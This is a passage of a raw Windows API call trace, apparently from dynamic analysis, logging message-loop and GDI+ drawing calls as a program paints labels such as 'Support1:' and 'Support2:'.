wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.196] TranslateMessage (lpMsg=0x19ee78) returned 0 [0176.196] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0176.196] BeginPaint (in: hWnd=0x10276, lpPaint=0x19e908 | out: lpPaint=0x19e908) returned 0x1e0106e1 [0176.196] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10276, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0176.196] EndPaint (hWnd=0x10276, lpPaint=0x19e904) returned 1 [0176.196] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.196] IsWindowUnicode (hWnd=0x10278) returned 1 [0176.196] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.196] TranslateMessage (lpMsg=0x19ee78) returned 0 [0176.196] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0176.196] BeginPaint (in: hWnd=0x10278, lpPaint=0x19e8fc | out: lpPaint=0x19e8fc) returned 0x1b010670 [0176.196] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x10278, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0176.197] SelectPalette (hdc=0x1b010670, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0176.197] SelectPalette (hdc=0x1b010670, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0176.197] EndPaint (hWnd=0x10278, lpPaint=0x19e8f8) returned 1 [0176.197] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.197] IsWindowUnicode (hWnd=0x1027a) returned 1 [0176.197] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.197] TranslateMessage (lpMsg=0x19ee78) returned 0 [0176.197] DispatchMessageW (lpMsg=0x19ee78) returned 0x1 [0176.197] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1027a, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0176.197] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x1027a, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0176.198] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.198] IsWindowUnicode (hWnd=0x1027c) returned 1 [0176.198] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.198] TranslateMessage (lpMsg=0x19ee78) returned 0 [0176.198] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0176.198] BeginPaint (in: hWnd=0x1027c, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x1b010670 [0176.198] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x1027c, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0176.199] EndPaint (hWnd=0x1027c, lpPaint=0x19e8c8) returned 1 [0176.199] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.199] IsWindowUnicode (hWnd=0x1027e) returned 1 [0176.199] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.199] TranslateMessage (lpMsg=0x19ee78) returned 0 [0176.199] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0176.199] BeginPaint (in: hWnd=0x1027e, lpPaint=0x19e8c0 | out: lpPaint=0x19e8c0) returned 0x1e0106e1 [0176.199] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x1027e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0176.200] EndPaint (hWnd=0x1027e, lpPaint=0x19e8bc) returned 1 [0176.200] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.200] IsWindowUnicode (hWnd=0x50210) returned 1 [0176.200] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.200] TranslateMessage (lpMsg=0x19ee78) returned 0 [0176.200] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0176.200] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x50210, Msg=0xf, wParam=0x0, lParam=0x0) [0176.200] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x50210, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x1 [0176.200] SetTextColor (hdc=0x10105d6, color=0x6994f5) returned 0x0 [0176.201] GetClientRect (in: hWnd=0x8004e, lpRect=0x19ddb4 | out: lpRect=0x19ddb4) returned 1 [0176.201] GetCurrentObject (hdc=0xa01074b, type=0x1) returned 0xb00017 [0176.201] GetClientRect (in: hWnd=0x8004e, lpRect=0x19dd54 | out: lpRect=0x19dd54) returned 1 [0176.201] GetCurrentObject (hdc=0xa01074b, type=0x1) returned 0xb00017 [0176.202] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x50210, Msg=0x14, wParam=0x1e0106e1, lParam=0x0) returned 0x1 [0176.203] SetTextColor (hdc=0xb01074b, color=0x6994f5) returned 0x0 [0176.203] BeginPaint (in: hWnd=0x900b0, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x1b010670 [0176.203] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x900b0, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0176.333] SelectPalette (hdc=0x1b010670, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0176.333] GdipCreateFromHDC (hdc=0x1d010754, graphics=0x19e8e4) returned 0x0 [0176.333] GdipTranslateWorldTransform (graphics=0x6926780, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0176.333] GdipSetClipRectI (graphics=0x6926780, x=0, y=0, width=110, height=24, combineMode=0x0) returned 0x0 [0176.334] GdipCreateMatrix (matrix=0x19e92c) returned 0x0 [0176.334] GdipGetWorldTransform (graphics=0x6926780, matrix=0x69239f0) returned 0x0 [0176.334] GdipIsMatrixIdentity (matrix=0x69239f0, result=0x19e944) returned 0x0 [0176.334] GdipGetMatrixElements (matrix=0x69239f0, matrixOut=0xf75be8) returned 0x0 [0176.334] LocalFree (hMem=0xf75be8) returned 0x0 [0176.334] GdipDeleteMatrix (matrix=0x69239f0) returned 0x0 [0176.334] GdipCreateRegion (region=0x19e92c) returned 0x0 [0176.334] GdipGetClip (graphics=0x6926780, region=0x6923a20) returned 0x0 [0176.334] GdipIsInfiniteRegion (region=0x6923a20, graphics=0x6926780, result=0x19e938) returned 0x0 [0176.334] GdipSaveGraphics (graphics=0x6926780, state=0x19e964) returned 0x0 [0176.334] GetClientRect (in: hWnd=0x900b0, lpRect=0x19e92c | out: lpRect=0x19e92c) returned 1 [0176.334] GdipCreateRegion (region=0x19e780) returned 0x0 [0176.334] GdipGetClip (graphics=0x6926780, region=0x6926df0) returned 0x0 [0176.335] GdipCreateMatrix (matrix=0x19e780) returned 0x0 [0176.335] GdipGetWorldTransform (graphics=0x6926780, matrix=0x6915f08) returned 0x0 [0176.335] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e798) returned 0x0 [0176.335] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75bb0) returned 0x0 [0176.335] LocalFree (hMem=0xf75bb0) returned 0x0 [0176.335] GdipCombineRegionRegion (region=0x6926df0, region2=0x6923a20, combineMode=0x1) returned 0x0 [0176.335] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75be8) returned 0x0 [0176.335] LocalFree (hMem=0xf75be8) returned 0x0 [0176.335] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0176.335] GdipIsInfiniteRegion (region=0x6926df0, graphics=0x6926780, result=0x19e7c0) returned 0x0 [0176.335] GdipIsInfiniteRegion (region=0x6926df0, graphics=0x6926780, result=0x19e7b0) returned 0x0 [0176.335] GdipGetRegionHRgn (region=0x6926df0, graphics=0x6926780, hRgn=0x19e7b0) returned 0x0 [0176.335] GdipDeleteRegion (region=0x6926df0) returned 0x0 [0176.335] GdipGetDC (graphics=0x6926780, hdc=0x19e7c8) returned 0x0 [0176.335] GetCurrentObject (hdc=0x1d010754, type=0x1) returned 0xb00017 [0176.336] GetCurrentObject (hdc=0x1d010754, type=0x2) returned 0x900010 [0176.336] GetCurrentObject (hdc=0x1d010754, type=0x7) returned 0x8050721 [0176.336] GetCurrentObject (hdc=0x1d010754, type=0x6) returned 0x8a01c2 [0176.336] SaveDC (hdc=0x1d010754) returned 1 [0176.336] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x170406fe [0176.336] GetClipRgn (hdc=0x1d010754, hrgn=0x170406fe) returned 0 [0176.336] SelectClipRgn (hdc=0x1d010754, hrgn=0x4704070e) returned 2 [0176.336] DeleteObject (ho=0x170406fe) returned 1 [0176.336] DeleteObject (ho=0x4704070e) returned 1 [0176.336] OffsetViewportOrgEx (in: hdc=0x1d010754, x=0, y=0, lppt=0x3084a08 | out: lppt=0x3084a08) returned 1 [0176.336] GetNearestColor (hdc=0x1d010754, color=0x323533) returned 0x323533 [0176.336] CreateSolidBrush (color=0x323533) returned 0x5a10073a [0176.336] FillRect (hDC=0x1d010754, lprc=0x19e7cc, hbr=0x5a10073a) returned 1 [0176.336] DeleteObject (ho=0x5a10073a) returned 1 [0176.336] RestoreDC (hdc=0x1d010754, nSavedDC=-1) returned 1 [0176.336] GdipReleaseDC (graphics=0x6926780, hdc=0x1d010754) returned 0x0 [0176.336] GdipRestoreGraphics (graphics=0x6926780, state=0xfcec0dbd) returned 0x0 [0176.336] GdipDeleteRegion (region=0x6923a20) returned 0x0 [0176.336] GetWindowTextLengthW (hWnd=0x900b0) returned 9 [0176.336] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x900b0, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x9 [0176.336] GetSystemMetrics (nIndex=42) returned 0 [0176.336] GetWindowTextW (in: hWnd=0x900b0, lpString=0x19e86c, nMaxCount=10 | out: lpString="Support2:") returned 9 [0176.337] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x900b0, Msg=0xd, wParam=0xa, lParam=0x19e86c) returned 0x9 [0176.337] GdipGetDC (graphics=0x6926780, hdc=0x19e7e8) returned 0x0 [0176.337] GetCurrentObject (hdc=0x1d010754, type=0x1) returned 0xb00017 [0176.337] GetCurrentObject (hdc=0x1d010754, type=0x2) returned 0x900010 [0176.337] GetCurrentObject (hdc=0x1d010754, type=0x7) returned 0x8050721 [0176.337] GetCurrentObject (hdc=0x1d010754, type=0x6) returned 0x8a01c2 [0176.337] SaveDC (hdc=0x1d010754) returned 1 [0176.337] GetNearestColor (hdc=0x1d010754, color=0x6994f5) returned 0x6994f5 [0176.337] RestoreDC (hdc=0x1d010754, nSavedDC=-1) returned 1 [0176.337] GdipReleaseDC (graphics=0x6926780, hdc=0x1d010754) returned 0x0 [0176.337] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0176.337] AdjustWindowRectEx (in: lpRect=0x19e708, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e708) returned 1 [0176.337] GdipGetTextRenderingHint (graphics=0x6926780, mode=0x19e788) returned 0x0 [0176.337] GdipGetDC (graphics=0x6926780, hdc=0x19e774) returned 0x0 [0176.337] GetCurrentObject (hdc=0x1d010754, type=0x1) returned 0xb00017 [0176.337] GetCurrentObject (hdc=0x1d010754, type=0x2) returned 0x900010 [0176.338] GetCurrentObject (hdc=0x1d010754, type=0x7) returned 0x8050721 [0176.338] GetCurrentObject (hdc=0x1d010754, type=0x6) returned 0x8a01c2 [0176.338] SaveDC (hdc=0x1d010754) returned 1 [0176.338] GdipGetFamilyName (in: family=0x57f1f60, name=0x19e664, language=0x409 | out: name="Arial") returned 0x0 [0176.338] GetDeviceCaps (hdc=0x8e0106dd, index=90) returned 96 [0176.338] CoTaskMemAlloc (cb=0x5c) returned 0xeeb228 [0176.338] CreateFontIndirectW (lplf=0xeeb228) returned 0x2a0a0752 [0176.338] CoTaskMemFree (pv=0xeeb228) [0176.338] GetObjectW (in: h=0x2a0a0752, c=92, pv=0x19e628 | out: pv=0x19e628) returned 92 [0176.338] DeleteObject (ho=0xa0a0724) returned 1 [0176.338] GetTextAlign (hdc=0x1d010754) returned 0x0 [0176.338] GetTextColor (hdc=0x1d010754) returned 0x0 [0176.338] SetTextColor (hdc=0x1d010754, color=0x6994f5) returned 0x0 [0176.338] GetCurrentObject (hdc=0x1d010754, type=0x6) returned 0x8a01c2 [0176.338] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e4bc | out: pv=0x19e4bc) returned 92 [0176.338] SelectObject (hdc=0x1d010754, h=0x2a0a0752) returned 0x8a01c2 [0176.338] GetBkMode (hdc=0x1d010754) returned 2 [0176.338] SetBkMode (hdc=0x1d010754, mode=1) returned 2 [0176.339] SelectObject (hdc=0x8e0106dd, h=0x2a0a0752) returned 0xc0a0739 [0176.339] GetMapMode (hdc=0x8e0106dd) returned 1 [0176.339] GetTextMetricsW (in: hdc=0x8e0106dd, lptm=0x19e50c | out: lptm=0x19e50c) returned 1 [0176.339] DrawTextExW (in: hdc=0x1d010754, lpchText="Support2:", cchText=9, lprc=0x19e708, format=0x100000, lpdtp=0x3085014 | out: lpchText="Support2:", lprc=0x19e708) returned 24 [0176.339] RestoreDC (hdc=0x1d010754, nSavedDC=-1) returned 1 [0176.339] GdipReleaseDC (graphics=0x6926780, hdc=0x1d010754) returned 0x0 [0176.339] GdipGetDC (graphics=0x6926780, hdc=0x19e924) returned 0x0 [0176.339] BitBlt (hdc=0x1b010670, x=0, y=0, cx=110, cy=24, hdcSrc=0x1d010754, x1=0, y1=0, rop=0xcc0020) returned 1 [0176.340] GdipReleaseDC (graphics=0x6926780, hdc=0x1d010754) returned 0x0 [0176.340] SelectPalette (hdc=0x1b010670, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0176.340] SelectObject (hdc=0x1d010754, h=0x85000f) returned 0x8050721 [0176.340] DeleteDC (hdc=0x1d010754) returned 1 [0176.340] GdipDeleteGraphics (graphics=0x6926780) returned 0x0 [0176.340] EndPaint (hWnd=0x900b0, lpPaint=0x19e8c8) returned 1 [0176.340] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.340] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x24c0174) returned 0x1 [0176.340] IsWindowUnicode (hWnd=0x30212) returned 1 [0176.340] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.340] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x30212, Msg=0x84, wParam=0x0, lParam=0x24c0174) returned 0x1 [0176.340] SetCursor (hCursor=0x10003) returned 0x10003 [0176.340] TranslateMessage (lpMsg=0x19ee78) returned 0 [0176.340] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0176.340] GetKeyState (nVirtKey=1) returned 0 [0176.341] GetKeyState (nVirtKey=2) returned 0 [0176.341] GetKeyState (nVirtKey=4) returned 0 [0176.341] GetKeyState (nVirtKey=5) returned 0 [0176.341] GetKeyState (nVirtKey=6) returned 0 [0176.341] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.341] IsWindowUnicode (hWnd=0x601fe) returned 1 [0176.341] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.341] TranslateMessage (lpMsg=0x19ee78) returned 0 [0176.341] DispatchMessageW (lpMsg=0x19ee78) returned 0x1 [0176.341] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x601fe, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0176.341] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x601fe, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x1 [0176.341] SetTextColor (hdc=0x1b010670, color=0x6994f5) returned 0x0 [0176.341] SetBkColor (hdc=0x1b010670, color=0x302d2d) returned 0xffffff [0176.342] GetClientRect (in: hWnd=0x8004e, lpRect=0x19deac | out: lpRect=0x19deac) returned 1 [0176.342] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0176.342] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0176.342] GetSystemMetrics (nIndex=42) returned 0 [0176.342] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19dd8c, nMaxCount=1 | out: lpString="") returned 0 [0176.342] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19dd8c) returned 0x0 [0176.342] GetClientRect (in: hWnd=0x8004e, lpRect=0x19ddb4 | out: lpRect=0x19ddb4) returned 1 [0176.342] GetCurrentObject (hdc=0xc01074b, type=0x1) returned 0xb00017 [0176.342] GetCurrentObject (hdc=0xc01074b, type=0x2) returned 0x900010 [0176.342] GetCurrentObject (hdc=0xc01074b, type=0x7) returned 0x3805074a [0176.342] GetCurrentObject (hdc=0xc01074b, type=0x6) returned 0x8a01c2 [0176.342] SaveDC (hdc=0xc01074b) returned 1 [0176.342] GetNearestColor (hdc=0xc01074b, color=0x323533) returned 0x323533 [0176.342] CreateSolidBrush (color=0x323533) returned 0x5b10073a [0176.342] FillRect (hDC=0xc01074b, lprc=0x19dc54, hbr=0x5b10073a) returned 1 [0176.342] DeleteObject (ho=0x5b10073a) returned 1 [0176.342] RestoreDC (hdc=0xc01074b, nSavedDC=-1) returned 1 [0176.342] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0176.342] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0176.342] GetSystemMetrics (nIndex=42) returned 0 [0176.342] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19dd2c, nMaxCount=1 | out: lpString="") returned 0 [0176.342] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19dd2c) returned 0x0 [0176.343] GetClientRect (in: hWnd=0x8004e, lpRect=0x19dd54 | out: lpRect=0x19dd54) returned 1 [0176.343] GetCurrentObject (hdc=0xc01074b, type=0x1) returned 0xb00017 [0176.343] GetCurrentObject (hdc=0xc01074b, type=0x2) returned 0x900010 [0176.343] GetCurrentObject (hdc=0xc01074b, type=0x7) returned 0x3805074a [0176.343] GetCurrentObject (hdc=0xc01074b, type=0x6) returned 0x8a01c2 [0176.343] SaveDC (hdc=0xc01074b) returned 1 [0176.343] GetNearestColor (hdc=0xc01074b, color=0x323533) returned 0x323533 [0176.343] CreateSolidBrush (color=0x323533) returned 0x5c10073a [0176.343] FillRect (hDC=0xc01074b, lprc=0x19dbf4, hbr=0x5c10073a) returned 1 [0176.343] DeleteObject (ho=0x5c10073a) returned 1 [0176.343] RestoreDC (hdc=0xc01074b, nSavedDC=-1) returned 1 [0176.343] GetWindowTextLengthW (hWnd=0x8004e) returned 0 [0176.343] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0176.343] GetSystemMetrics (nIndex=42) returned 0 [0176.343] GetWindowTextW (in: hWnd=0x8004e, lpString=0x19dd2c, nMaxCount=1 | out: lpString="") returned 0 [0176.343] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x8004e, Msg=0xd, wParam=0x1, lParam=0x19dd2c) returned 0x0 [0176.344] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x601fe, Msg=0x14, wParam=0x10105d6, lParam=0x0) returned 0x1 [0176.344] SetTextColor (hdc=0xd01074b, color=0x6994f5) returned 0x0 [0176.349] SetBkColor (hdc=0xd01074b, color=0x302d2d) returned 0xffffff [0176.350] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.350] IsWindowUnicode (hWnd=0x80044) returned 1 [0176.350] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0176.350] TranslateMessage (lpMsg=0x19ee78) returned 0 [0176.350] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0176.350] BeginPaint (in: hWnd=0x80044, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x1e0106e1 [0176.350] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x80044, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0176.350] SelectPalette (hdc=0x1e0106e1, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0176.350] CreateCompatibleDC (hdc=0x1e0106e1) returned 0x33010753 [0176.350] SelectObject (hdc=0x33010753, h=0x8050721) returned 0x85000f [0176.350] GdipCreateFromHDC (hdc=0x33010753, graphics=0x19e8e4) returned 0x0 [0176.351] GdipTranslateWorldTransform (graphics=0x6926780, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0176.351] GdipSetClipRectI (graphics=0x6926780, x=0, y=0, width=110, height=24, combineMode=0x0) returned 0x0 [0176.351] GdipCreateMatrix (matrix=0x19e92c) returned 0x0 [0176.351] GdipGetWorldTransform (graphics=0x6926780, matrix=0x69239f0) returned 0x0 [0176.351] GdipIsMatrixIdentity (matrix=0x69239f0, result=0x19e944) returned 0x0 [0176.351] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75c20 [0176.351] GdipGetMatrixElements (matrix=0x69239f0, matrixOut=0xf75c20) returned 0x0 [0176.351] LocalFree (hMem=0xf75c20) returned 0x0 [0176.351] GdipDeleteMatrix (matrix=0x69239f0) returned 0x0 [0176.351] GdipCreateRegion (region=0x19e92c) returned 0x0 [0176.351] GdipGetClip (graphics=0x6926780, region=0x6923a20) returned 0x0 [0176.351] GdipIsInfiniteRegion (region=0x6923a20, graphics=0x6926780, result=0x19e938) returned 0x0 [0176.351] GdipSaveGraphics (graphics=0x6926780, state=0x19e964) returned 0x0 [0176.351] GetWindowTextLengthW (hWnd=0x80044) returned 9 [0176.351] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x80044, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x9 [0176.351] GetSystemMetrics (nIndex=42) returned 0 [0176.351] GetWindowTextW (in: hWnd=0x80044, lpString=0x19e86c, nMaxCount=10 | out: lpString="Support1:") returned 9 [0176.351] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x80044, Msg=0xd, wParam=0xa, lParam=0x19e86c) returned 0x9 [0176.351] GetClientRect (in: hWnd=0x80044, lpRect=0x19e92c | out: lpRect=0x19e92c) returned 1 [0176.351] GdipCreateRegion (region=0x19e780) returned 0x0 [0176.351] GdipGetClip (graphics=0x6926780, region=0x6926df0) returned 0x0 [0176.351] GdipCreateMatrix (matrix=0x19e780) returned 0x0 [0176.351] GdipGetWorldTransform (graphics=0x6926780, matrix=0x6915f08) returned 0x0 [0176.351] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e798) returned 0x0 [0176.351] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75c20 [0176.351] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75c20) returned 0x0 [0176.351] LocalFree (hMem=0xf75c20) returned 0x0 [0176.352] GdipCombineRegionRegion (region=0x6926df0, region2=0x6923a20, combineMode=0x1) returned 0x0 [0176.352] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75c20 [0176.352] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75c20) returned 0x0 [0176.352] LocalFree (hMem=0xf75c20) returned 0x0 [0176.352] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0176.352] GdipIsInfiniteRegion (region=0x6926df0, graphics=0x6926780, result=0x19e7c0) returned 0x0 [0176.352] GdipIsInfiniteRegion (region=0x6926df0, graphics=0x6926780, result=0x19e7b0) returned 0x0 [0176.352] GdipGetRegionHRgn (region=0x6926df0, graphics=0x6926780, hRgn=0x19e7b0) returned 0x0 [0176.352] GdipDeleteRegion (region=0x6926df0) returned 0x0 [0176.352] GdipGetDC (graphics=0x6926780, hdc=0x19e7c8) returned 0x0 [0176.352] GetCurrentObject (hdc=0x33010753, type=0x1) returned 0xb00017 [0176.352] GetCurrentObject (hdc=0x33010753, type=0x2) returned 0x900010 [0176.352] GetCurrentObject (hdc=0x33010753, type=0x7) returned 0x8050721 [0176.352] GetCurrentObject (hdc=0x33010753, type=0x6) returned 0x8a01c2 [0176.352] SaveDC (hdc=0x33010753) returned 1 [0176.352] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x4a04070e [0176.352] GetClipRgn (hdc=0x33010753, hrgn=0x4a04070e) returned 0 [0176.352] SelectClipRgn (hdc=0x33010753, hrgn=0x1c0406fe) returned 2 [0176.352] DeleteObject (ho=0x4a04070e) returned 1 [0176.352] DeleteObject (ho=0x1c0406fe) returned 1 [0176.352] OffsetViewportOrgEx (in: hdc=0x33010753, x=0, y=0, lppt=0x30857d8 | out: lppt=0x30857d8) returned 1 [0176.352] GetNearestColor (hdc=0x33010753, color=0x323533) returned 0x323533 [0176.352] CreateSolidBrush (color=0x323533) returned 0x5d10073a [0176.352] FillRect (hDC=0x33010753, lprc=0x19e7cc, hbr=0x5d10073a) returned 1 [0176.353] DeleteObject (ho=0x5d10073a) returned 1 [0176.353] RestoreDC (hdc=0x33010753, nSavedDC=-1) returned 1 [0176.353] GdipReleaseDC (graphics=0x6926780, hdc=0x33010753) returned 0x0 [0176.353] GdipRestoreGraphics (graphics=0x6926780, state=0xfcea0dbd) returned 0x0 [0176.353] GdipDeleteRegion (region=0x6923a20) returned 0x0 [0176.353] GetWindowTextLengthW (hWnd=0x80044) returned 9 [0176.353] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x80044, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x9 [0176.353] GetSystemMetrics (nIndex=42) returned 0 [0176.353] GetWindowTextW (in: hWnd=0x80044, lpString=0x19e86c, nMaxCount=10 | out: lpString="Support1:") returned 9 [0176.353] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x80044, Msg=0xd, wParam=0xa, lParam=0x19e86c) returned 0x9 [0176.353] GdipGetDC (graphics=0x6926780, hdc=0x19e7e8) returned 0x0 [0176.353] GetCurrentObject (hdc=0x33010753, type=0x1) returned 0xb00017 [0176.353] GetCurrentObject (hdc=0x33010753, type=0x2) returned 0x900010 [0176.353] GetCurrentObject (hdc=0x33010753, type=0x7) returned 0x8050721 [0176.353] GetCurrentObject (hdc=0x33010753, type=0x6) returned 0x8a01c2 [0176.353] SaveDC (hdc=0x33010753) returned 1 [0176.353] GetNearestColor (hdc=0x33010753, color=0x6994f5) returned 0x6994f5 [0176.353] RestoreDC (hdc=0x33010753, nSavedDC=-1) returned 1 [0176.353] GdipReleaseDC (graphics=0x6926780, hdc=0x33010753) returned 0x0 [0176.354] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0176.354] AdjustWindowRectEx (in: lpRect=0x19e708, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e708) returned 1 [0176.354] GdipGetTextRenderingHint (graphics=0x6926780, mode=0x19e788) returned 0x0 [0176.354] GdipGetDC (graphics=0x6926780, hdc=0x19e774) returned 0x0 [0176.354] GetCurrentObject (hdc=0x33010753, type=0x1) returned 0xb00017 [0176.354] GetCurrentObject (hdc=0x33010753, type=0x2) returned 0x900010 [0176.354] GetCurrentObject (hdc=0x33010753, type=0x7) returned 0x8050721 [0176.354] GetCurrentObject (hdc=0x33010753, type=0x6) returned 0x8a01c2 [0176.354] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e4bc | out: pv=0x19e4bc) returned 92 [0176.354] SelectObject (hdc=0x33010753, h=0x2a0a0752) returned 0x8a01c2 [0176.354] GetBkMode (hdc=0x33010753) returned 2 [0176.354] SetBkMode (hdc=0x33010753, mode=1) returned 2 [0176.354] DrawTextExW (in: hdc=0x33010753, lpchText="Support1:", cchText=9, lprc=0x19e708, format=0x100000, 